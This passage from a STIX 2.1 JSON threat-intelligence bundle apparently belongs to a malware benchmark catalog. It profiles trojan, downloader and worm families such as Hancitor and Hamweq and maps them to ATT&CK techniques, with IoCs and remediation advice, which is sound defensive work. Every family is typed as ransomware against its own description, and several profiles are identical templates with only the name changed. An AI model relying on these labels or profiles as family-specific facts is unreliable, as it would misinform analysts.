          "description": "Canonical Malware Families Catalog Technical Profile for Hallaj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hallaj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16cebafc-73d5-5d32-8b37-1da66f894cca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87907607-3136-549c-a0e1-b6abe19f09a9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hallaj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f5339ff-0997-5ef5-ada2-74f5917b4a1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87907607-3136-549c-a0e1-b6abe19f09a9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hallaj exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6bba6548-42e7-5642-ae9b-48ec0713ff67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87907607-3136-549c-a0e1-b6abe19f09a9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hallaj exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f47c5c4e-501b-5492-b5e9-2602d43dbddf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87907607-3136-549c-a0e1-b6abe19f09a9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hallaj exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c432ab6-225c-55b7-aee3-da1347e0b9a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87907607-3136-549c-a0e1-b6abe19f09a9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hallaj exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6b503344-8fa2-5a2a-96ea-b69a4a5e8bce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hamaetot",
      "description": "Trojan:Win32/Hamaetot is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hamaetot</b><br>To an end-user, a Hamaetot infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hamaetot is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hamaetot is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hamaetot frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hamaetot reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hamaetot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hamaetot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a6ddd72-d24b-54ec-9f70-02c6e1f689b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b503344-8fa2-5a2a-96ea-b69a4a5e8bce",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hamaetot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25205fc8-184e-52e1-b86e-9bdb8d53a7ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b503344-8fa2-5a2a-96ea-b69a4a5e8bce",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hamaetot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2b72969-557f-5bb0-bd7f-6eac7d74c8ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b503344-8fa2-5a2a-96ea-b69a4a5e8bce",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hamaetot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a23dedb-5cbe-5df6-bfb7-623956afe344",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b503344-8fa2-5a2a-96ea-b69a4a5e8bce",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hamaetot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0dfb8bf5-8c93-56b4-ac0b-2dbcb34c9412",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b503344-8fa2-5a2a-96ea-b69a4a5e8bce",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hamaetot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d9011c51-2f20-5496-b956-2d456273b4b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hamer",
      "description": "<h3>Executive Summary</h3>\nHamer is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHamer is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Hamer operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Hamer ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Hamer receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Hamer infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Hamer executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Hamer frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Hamer",
        "Downloader.Hamer",
        "Win32/Hamer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hamer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hamer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b0cef2d-e47f-57e3-85ed-e778f8d62eb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9011c51-2f20-5496-b956-2d456273b4b5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hamer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e69ba372-b2d1-56fa-b370-958b6754a834",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9011c51-2f20-5496-b956-2d456273b4b5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hamer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7cacb7f0-22f9-5e73-9f19-78513dcaea61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9011c51-2f20-5496-b956-2d456273b4b5",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hamer exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9c9a3bc1-a392-56f3-950e-8b3172629f5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hamweq",
      "description": "<h3>Executive Summary</h3>\nHamweq (often associated with the extensive IRCBot or AutoRun worm families) is a self-replicating malicious Worm and Botnet agent. Designed to rapidly propagate across local networks and removable media, Hamweq compromises Windows systems, establishes persistence, and connects the infected host to a centralized Internet Relay Chat (IRC) command-and-control server, awaiting instructions from the botmaster.\n\n<h3>Propagation and Execution Lifecycle</h3>\nHamweq relies on aggressive, largely automated propagation techniques:\n<ul>\n<li><strong>Removable Media (Worm Capability):</strong> Hamweq's primary vector is exploiting the Windows AutoRun feature. It copies itself to any attached USB flash drives or external hard drives and creates a malicious `autorun.inf` file. When the drive is inserted into a new, vulnerable computer, the OS automatically executes the worm.</li>\n<li><strong>Network Shares:</strong> The worm actively scans the local area network (LAN) for weakly secured or open network shares (SMB) and attempts to copy its payload into those directories to spread laterally.</li>\n<li><strong>IRC Botnet Integration:</strong> Once a host is infected, Hamweq modifies the registry (e.g., `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`) for persistence. It then reaches out to a hardcoded IRC server, joining a specific, hidden channel to receive commands.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Hamweq infection is a significant security incident. While older, its worm capabilities allow it to rapidly contaminate an entire enterprise environment. Once connected to the IRC botnet, the compromised machines can be instructed to download secondary malware (like ransomware), harvest credentials, or participate in distributed denial-of-service (DDoS) attacks.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Aggressive Network Isolation:</strong> Due to its self-replicating nature, infected machines must be immediately physically disconnected from the LAN to halt lateral movement via network shares.</li>\n<li><strong>Disable AutoRun:</strong> The immediate enterprise-wide remediation is to ensure that the Windows AutoRun/AutoPlay feature is completely disabled via Group Policy (GPO) for all removable media.</li>\n<li><strong>Network Traffic Analysis:</strong> Monitor edge firewalls for anomalous IRC traffic (typically TCP ports 6667-6669) to identify all hosts that have successfully connected to the Hamweq C2 infrastructure.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.Hamweq",
        "IRC.Hamweq",
        "Win32/Hamweq"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hamweq",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hamweq"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd635b03-dc0f-5612-b671-d7a8fb58bed4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c9a3bc1-a392-56f3-950e-8b3172629f5a",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hamweq exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a281ba49-d733-594c-a386-4178b2a411d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c9a3bc1-a392-56f3-950e-8b3172629f5a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hamweq exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e5f6757-687a-5aa6-84cd-44fee4b9a9cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c9a3bc1-a392-56f3-950e-8b3172629f5a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hamweq exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--11645193-21ed-5ce6-b8fa-c8d387fbcc24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hancitor",
      "description": "TrojanDownloader:Win32/Hancitor (also widely known as **Chanitor**) is a highly prolific and dangerous Initial Access Broker (IAB) and downloader trojan. It is infamous for facilitating massive malspam campaigns that deliver devastating secondary payloads, most notably the **Cuba Ransomware**, FickerStealer, and various banking trojans (like Zeus Panda or Ursnif). Hancitor operators specialize in compromising corporate networks and selling that access to the highest bidder.<br><br><b>Understanding Hancitor (Initial Access Broker)</b><br>To an end-user, a Hancitor infection usually starts with an urgent-looking email (fake invoices, DocuSign requests, or FedEx tracking). For a security team, Hancitor is a 'Level 1' emergency. If Hancitor executes, the network is on a countdown to a major ransomware deployment. Hancitor itself does very little damage; its entire purpose is to quietly establish a foothold, profile the domain (`T1082`), and pull down the 'heavy artillery'.<br><br><b>Execution and Evasion Mechanics</b><br>Hancitor is almost exclusively distributed via Phishing (`T1566.001`), utilizing weaponized Microsoft Word documents. When the user enables macros (`T1059.005`), the VBA code drops a malicious DLL to the disk and executes it via `rundll32.exe` (`T1218.011`), effectively bypassing application control policies. Once active in memory (`T1055`), Hancitor reaches out to hardcoded, often compromised WordPress sites acting as C2 servers (`T1102`). It communicates via HTTP POST requests containing basic system profiling data, and receives instructions to download and execute shellcode or secondary executables (`T1105`) directly into memory.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is almost always a severe secondary infection, usually enterprise-wide ransomware. Host-based IoCs include EDR alerts for `winword.exe` spawning `rundll32.exe`, or `rundll32.exe` establishing outbound network connections. Network IoCs involve HTTP POST requests to suspicious, newly registered domains or compromised sites, often with specific URL structures associated with the Chanitor campaign. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hancitor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hancitor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--586c3822-df90-5b81-94aa-c96f13e300c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11645193-21ed-5ce6-b8fa-c8d387fbcc24",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hancitor exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Malicious Macros))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0503f6a2-16e0-5a27-a0c4-96ae1d9ebce8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11645193-21ed-5ce6-b8fa-c8d387fbcc24",
      "target_ref": "attack-pattern--e8a716be-4ab8-579e-95cd-cf3d09459cfc",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hancitor exhibits technique T1218.011 (System Binary Proxy Execution: Rundll32)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21259c8c-ae23-544a-8fc2-edad0cef6561",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11645193-21ed-5ce6-b8fa-c8d387fbcc24",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hancitor exhibits technique T1105 (Ingress Tool Transfer (Downloading Ransomware/Stealers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57f89d60-c7ee-54d9-bc11-d5c85f6667e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11645193-21ed-5ce6-b8fa-c8d387fbcc24",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hancitor exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBA))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--19fb9af8-28e1-590b-a49d-60111222dc72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hangup",
      "description": "<h3>Executive Summary</h3>\nHangup is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHangup is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Hangup operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Hangup ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Hangup receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Hangup infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Hangup executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Hangup frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Hangup",
        "Downloader.Hangup",
        "Win32/Hangup"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hangup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hangup"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6898ed4b-a51d-533d-abb7-bbdebd75c083",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19fb9af8-28e1-590b-a49d-60111222dc72",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hangup exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e50bd6a4-d05a-567a-9168-68059fa163df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19fb9af8-28e1-590b-a49d-60111222dc72",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hangup exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a16a95e-6e17-55d7-b5a0-d550abd81533",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19fb9af8-28e1-590b-a49d-60111222dc72",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hangup exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--da90469e-fc15-5e6a-99d5-2f5f8d798aa5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Haperlock",
      "description": "Trojan:Win32/Haperlock is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Haperlock</b><br>To an end-user, a Haperlock infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Haperlock is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Haperlock is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Haperlock frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Haperlock reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Haperlock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/haperlock"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afc54b68-9288-5bd0-b516-0bdd455f58db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da90469e-fc15-5e6a-99d5-2f5f8d798aa5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Haperlock exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57b4e00b-c801-5fe8-8097-8772c7bede0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da90469e-fc15-5e6a-99d5-2f5f8d798aa5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Haperlock exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41484b60-4e0d-5cee-a4d9-66d258905443",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da90469e-fc15-5e6a-99d5-2f5f8d798aa5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
